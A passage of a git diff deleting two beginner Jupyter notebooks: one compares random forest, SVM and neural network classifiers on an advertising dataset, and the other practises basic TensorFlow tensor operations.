"metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Requirement already satisfied: sklearn in c:\\users\\ankit\\anaconda3\\lib\\site-packages (0.0)\n", - "Requirement already satisfied: scikit-learn in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from sklearn) (0.23.2)\n", - "Requirement already satisfied: numpy>=1.13.3 in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from scikit-learn->sklearn) (1.19.2)\n", - "Requirement already satisfied: threadpoolctl>=2.0.0 in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from scikit-learn->sklearn) (2.1.0)\n", - "Requirement already satisfied: joblib>=0.11 in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from scikit-learn->sklearn) (1.0.0)\n", - "Requirement already satisfied: scipy>=0.19.1 in c:\\users\\ankit\\anaconda3\\lib\\site-packages (from scikit-learn->sklearn) (1.6.0)\n", - "Note: you may need to restart the kernel to use updated packages.\n" - ] - } - ], - "source": [ - "pip install sklearn" - ] - }, - { - "cell_type": "code", - "execution_count": 66, - "metadata": {}, - "outputs": [], - "source": [ - "import pandas as pd\n", - "import matplotlib.pyplot as plt\n", - "from sklearn.ensemble import RandomForestClassifier\n", - "from sklearn.svm import SVC\n", - "from sklearn import svm\n", - "from sklearn.neural_network import MLPClassifier\n", - "from sklearn.metrics import confusion_matrix, classification_report\n", - "from sklearn.preprocessing import StandardScaler, LabelEncoder\n", - "from sklearn.model_selection import train_test_split\n", - "from sklearn.metrics import accuracy_score" - ] - }, - { - "cell_type": "code", - "execution_count": 67, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
TVRadioNewspaperSalesRating
0230.137.869.222.15
144.539.345.110.42
217.245.969.312.02
3151.541.358.516.54
4180.810.858.417.92
\n", - "
" - ], - "text/plain": [ - " TV Radio Newspaper Sales Rating\n", - "0 230.1 37.8 69.2 22.1 5\n", - "1 44.5 39.3 45.1 10.4 2\n", - "2 17.2 45.9 69.3 12.0 2\n", - "3 151.5 41.3 58.5 16.5 4\n", - "4 180.8 10.8 58.4 17.9 2" - ] - }, - "execution_count": 67, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df=pd.read_csv(\"C:\\\\Users\\\\ANKIT\\\\Downloads\\\\advertising.csv\")\n", - "df.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 68, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['good', 'bad']\n", - "Categories (2, object): ['bad' < 'good']" - ] - }, - "execution_count": 68, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Preprossing data\n", - "rating_selection =(0,3.5,6)\n", - "rating_name= ['bad','good']\n", - "df['Rating']=pd.cut(df['Rating'], bins=rating_selection, labels=rating_name)\n", - "df['Rating'].unique()" - ] - }, - { - "cell_type": "code", - "execution_count": 69, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - " TV Radio Newspaper Sales\n", - "0 230.1 37.8 69.2 22.1\n", - "1 44.5 39.3 45.1 10.4\n", - "2 17.2 45.9 69.3 12.0\n", - "3 151.5 41.3 58.5 16.5\n", - "4 180.8 10.8 58.4 17.9\n", - ".. ... ... ... ...\n", - "195 38.2 3.7 13.8 7.6\n", - "196 94.2 4.9 8.1 14.0\n", - "197 177.0 9.3 6.4 14.8\n", - "198 283.6 42.0 66.2 25.5\n", - "199 232.1 8.6 8.7 18.4\n", - "\n", - "[200 rows x 4 columns] 0 good\n", - "1 bad\n", - "2 bad\n", - "3 good\n", - "4 bad\n", - " ... \n", - "195 good\n", - "196 good\n", - "197 good\n", - "198 bad\n", - "199 bad\n", - "Name: Rating, Length: 200, dtype: category\n", - "Categories (2, object): ['bad' < 'good']\n" - ] - } - ], - "source": [ - "# Entering data in X and y\n", - "X=df.drop('Rating',axis=1)\n", - "y=df['Rating']\n", - "print(X,y)" - ] - }, - { - "cell_type": "code", - "execution_count": 70, - "metadata": {}, - "outputs": [], - "source": [ - "################# Label Encoder ( coverting data in 0 & 1 form )\n", - "label=LabelEncoder()\n", - "df['Rating']=label.fit_transform(df['Rating'])" - ] - }, - { - "cell_type": "code", - "execution_count": 71, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
TVRadioNewspaperSalesRating
0230.137.869.222.11
144.539.345.110.40
217.245.969.312.00
3151.541.358.516.51
4180.810.858.417.90
\n", - "
" - ], - "text/plain": [ - " TV Radio Newspaper Sales Rating\n", - "0 230.1 37.8 69.2 22.1 1\n", - "1 44.5 39.3 45.1 10.4 0\n", - "2 17.2 45.9 69.3 12.0 0\n", - "3 151.5 41.3 58.5 16.5 1\n", - "4 180.8 10.8 58.4 17.9 0" - ] - }, - "execution_count": 71, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 72, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0 131\n", - "1 69\n", - "Name: Rating, dtype: int64" - ] - }, - "execution_count": 72, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df['Rating'].value_counts()" - ] - }, - { - "cell_type": "code", - "execution_count": 73, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - " TV Radio Newspaper Sales\n", - "0 230.1 37.8 69.2 22.1\n", - "1 44.5 39.3 45.1 10.4\n", - "2 17.2 45.9 69.3 12.0\n", - "3 151.5 41.3 58.5 16.5\n", - "4 180.8 10.8 58.4 17.9\n", - ".. ... ... ... ...\n", - "195 38.2 3.7 13.8 7.6\n", - "196 94.2 4.9 8.1 14.0\n", - "197 177.0 9.3 6.4 14.8\n", - "198 283.6 42.0 66.2 25.5\n", - "199 232.1 8.6 8.7 18.4\n", - "\n", - "[200 rows x 4 columns] 0 1\n", - "1 0\n", - "2 0\n", - "3 1\n", - "4 0\n", - " ..\n", - "195 1\n", - "196 1\n", - "197 1\n", - "198 0\n", - "199 0\n", - "Name: Rating, Length: 200, dtype: int32\n" - ] - } - ], - "source": [ - "X=df.drop('Rating',axis=1)\n", - "y=df['Rating']\n", - "print(X,y)" - ] - }, - { - "cell_type": "code", - "execution_count": 74, - "metadata": {}, - "outputs": [], - "source": [ - "# Training Data\n", - "# train and test splitting of data\n", - "X_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2,random_state=40)\n", - " # default test_size is 25% ( 0.2 is 20% )" - ] - }, - { - "cell_type": "code", - "execution_count": 75, - "metadata": {}, - "outputs": [], - "source": [ - "## Applying Standard Scaling to get Optimized result\n", - "sc=StandardScaler()\n", - "X_train=sc.fit_transform(X_train)\n", - "X_test=sc.transform(X_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 76, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[-0.81079014, 0.31786939, -0.67463654, -0.58628683],\n", - " [-1.0481421 , -1.15532811, -0.02452738, -1.2144513 ],\n", - " [ 0.84831183, 1.42614642, -0.14316044, 1.37434771],\n", - " [-0.68207689, -0.74310312, -0.20484963, -0.85278085],\n", - " [ 1.75520885, 0.33138497, -1.3484723 , 1.06978312]])" - ] - }, - "execution_count": 76, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "X_train[:5]" - ] - }, - { - "cell_type": "code", - "execution_count": 77, - "metadata": {}, - "outputs": [], - "source": [ - "###### Random Forest Classifier #####\n", - "rfc=RandomForestClassifier(n_estimators=200)\n", - "rfc.fit(X_train,y_train)\n", - "predict_rfc=rfc.predict(X_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 78, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - " precision recall f1-score support\n", - "\n", - " 0 0.62 0.83 0.71 24\n", - " 1 0.50 0.25 0.33 16\n", - "\n", - " accuracy 0.60 40\n", - " macro avg 0.56 0.54 0.52 40\n", - "weighted avg 0.57 0.60 0.56 40\n", - "\n", - "[[20 4]\n", - " [12 4]]\n" - ] - } - ], - "source": [ - "# getting Acurracy\n", - "print(classification_report(y_test,predict_rfc))\n", - "print(confusion_matrix(y_test,predict_rfc))" - ] - }, - { - "cell_type": "code", - "execution_count": 79, - "metadata": {}, - "outputs": [], - "source": [ - "############### SVM Classifier ############# " - ] - }, - { - "cell_type": "code", - "execution_count": 80, - "metadata": {}, - "outputs": [], - "source": [ - "model=svm.SVC()\n", - "model.fit(X_train,y_train)\n", - "predic_svm =model.predict(X_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 81, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - " precision recall f1-score support\n", - "\n", - " 0 0.60 1.00 0.75 24\n", - " 1 0.00 0.00 0.00 16\n", - "\n", - " accuracy 0.60 40\n", - " macro avg 0.30 0.50 0.37 40\n", - "weighted avg 0.36 0.60 0.45 40\n", - "\n", - "[[24 0]\n", - " [16 0]]\n" - ] - }, - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ANKIT\\anaconda3\\lib\\site-packages\\sklearn\\metrics\\_classification.py:1221: UndefinedMetricWarning: Precision and F-score are ill-defined and being set to 0.0 in labels with no predicted samples. Use `zero_division` parameter to control this behavior.\n", - " _warn_prf(average, modifier, msg_start, len(result))\n" - ] - } - ], - "source": [ - "print(classification_report(y_test,predic_svm))\n", - "print(confusion_matrix(y_test,predic_svm))" - ] - }, - { - "cell_type": "code", - "execution_count": 82, - "metadata": {}, - "outputs": [], - "source": [ - "################## Neural Network ######################" - ] - }, - { - "cell_type": "code", - "execution_count": 83, - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ANKIT\\anaconda3\\lib\\site-packages\\sklearn\\neural_network\\_multilayer_perceptron.py:585: ConvergenceWarning: Stochastic Optimizer: Maximum iterations (400) reached and the optimization hasn't converged yet.\n", - " % self.max_iter, ConvergenceWarning)\n" - ] - } - ], - "source": [ - "mlpc=MLPClassifier(hidden_layer_sizes=(8,8,8),max_iter=400)\n", - "mlpc.fit(X_train,y_train)\n", - "predic_mlpc = mlpc.predict(X_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 84, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - " precision recall f1-score support\n", - "\n", - " 0 0.62 0.96 0.75 24\n", - " 1 0.67 0.12 0.21 16\n", - "\n", - " accuracy 0.62 40\n", - " macro avg 0.64 0.54 0.48 40\n", - "weighted avg 0.64 0.62 0.54 40\n", - "\n", - "[[23 1]\n", - " [14 2]]\n" - ] - } - ], - "source": [ - "print(classification_report(y_test,predic_mlpc))\n", - "print(confusion_matrix(y_test,predic_mlpc))" - ] - }, - { - "cell_type": "code", - "execution_count": 85, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0.6" - ] - }, - "execution_count": 85, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "accu=accuracy_score(y_test,predict_rfc)\n", - "accu" - ] - }, - { - "cell_type": "code", - "execution_count": 86, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0.6" - ] - }, - "execution_count": 86, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "accu=accuracy_score(y_test,predic_svm)\n", - "accu" - ] - }, - { - "cell_type": "code", - "execution_count": 87, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0.625" - ] - }, - "execution_count": 87, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "accu=accuracy_score(y_test,predic_mlpc)\n", - "accu" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.5" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/IPYNB/Machine Learning Tutorial/TensorFlow Practice.ipynb b/Add Code Here/IPYNB/Machine Learning Tutorial/TensorFlow Practice.ipynb deleted file mode 100644 index afb251c9864..00000000000 --- a/Add Code Here/IPYNB/Machine Learning Tutorial/TensorFlow Practice.ipynb +++ /dev/null @@ -1,9381 +0,0 @@ -{ - "cells": [ - { - "cell_type": "code", - "execution_count": 1, - "id": "dc3583f4", - "metadata": {}, - "outputs": [], - "source": [ - "import tensorflow as tf\n", - "import numpy as np\n", - "import matplotlib.pyplot as plt\n", - "from sklearn.model_selection import train_test_split" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "id": "20897a8c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 2, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "a=tf.constant([17,57,45]) # Create tensors\n", - "a" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "id": "ffaf4db7", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "1" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Checking no. of dimensions\n", - "a.ndim" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "id": "741a242b", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 4, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Creating random tensors\n", - "ran=tf.random.Generator.from_seed(42)\n", - "ran=ran.normal(shape=(4,2))\n", - "ran" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "id": "e73f3514", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# shuffle the order of element\n", - "tf.random.shuffle(ran,seed=42)" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "id": "a45d2935", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 6, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Create a list indices\n", - "list=[0,1,2,3]\n", - "tf.one_hot(list,depth=4)" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "id": "1b015319", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 7, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Finding positional maximum and minimum\n", - "tf.argmax(ran)" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "id": "543e9613", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 8, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tf.argmin(ran)" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "id": "57467388", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 9, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Create the tensor from numpy\n", - "j=tf.constant(np.array([34,57,467,568,456]))\n", - "j" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "id": "a56e0174", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([ 34, 57, 467, 568, 456])" - ] - }, - "execution_count": 10, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Converting tensor to numpy array\n", - "np.array(j)" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "id": "a21255d5", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 11, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Minimum Value\n", - "tf.reduce_min(j)" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "id": "57f948ae", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 12, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Maximum Value\n", - "tf.reduce_max(j)" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "id": "07945d07", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 13, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Mean Value\n", - "tf.reduce_mean(j)" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "id": "81f5d7aa", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 14, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Sum of all Value\n", - "tf.reduce_sum(j)" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "id": "3f625cd7", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Variance of value\n", - "tf.math.reduce_variance(tf.cast(j,dtype=tf.float32))" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "id": "f163ed82", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 16, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Standard Deviation\n", - "tf.math.reduce_std(tf.cast(j, dtype=tf.float32))" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "id": "66eeafd9", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(TensorShape([4, 2]), 2, )" - ] - }, - "execution_count": 17, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Getting shape, axis or dimension , size of tensors\n", - "ran.shape, ran.ndim, tf.size(ran)" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "id": "5386d6c9", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "tf.float32" - ] - }, - "execution_count": 18, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Getting dtpe of tensors\n", - "ran.dtype" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "id": "2ad1ea11", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "2" - ] - }, - "execution_count": 19, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Getting last axis of tensor\n", - "ran.shape[-1]" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "id": "904a7662", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 20, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Create tensor having 2 dimension\n", - "ran_2k=tf.constant([[12,4,3],[1,32,12]])\n", - "ran_2k" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "id": "b697d92d", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(,\n", - " TensorShape([2, 3, 1]))" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "ran_3k=ran_2k[...,tf.newaxis]\n", - "ran_3k,ran_3k.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "id": "f55025fb", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Multiplication\n", - "ran_2k*10" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "id": "4e68a613", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(,\n", - " )" - ] - }, - "execution_count": 23, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Sum and Substract\n", - "ran_2k+50,ran_2k-20" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "id": "2deaa9db", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "TensorShape([2, 3])" - ] - }, - "execution_count": 24, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "ran_2k.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "id": "cb802bbb", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 25, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Matrix multiplication\n", - "tf.matmul(ran_2k,tf.transpose(ran_2k))" - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "id": "86a8d61d", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 26, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Matrix multiplication\n", - "ran_2k @ tf.transpose(ran_2k)" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "id": "eb2fe720", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 27, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Resize the shape of matrix\n", - "tf.reshape(ran_2k,shape=(3,2)) # in reshape it shuffle the data" - ] - }, - { - "cell_type": "code", - "execution_count": 28, - "id": "d4689049", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 28, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Transpose the matrix\n", - "tf.transpose(ran_2k)" - ] - }, - { - "cell_type": "code", - "execution_count": 29, - "id": "3e2b60da", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 29, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Changing data type of tensor\n", - "tf.cast(j,dtype=tf.float16)" - ] - }, - { - "cell_type": "code", - "execution_count": 30, - "id": "b0224e04", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 30, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Getting absolute value\n", - "tf.abs(ran_2k)" - ] - }, - { - "cell_type": "code", - "execution_count": 31, - "id": "18197989", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 31, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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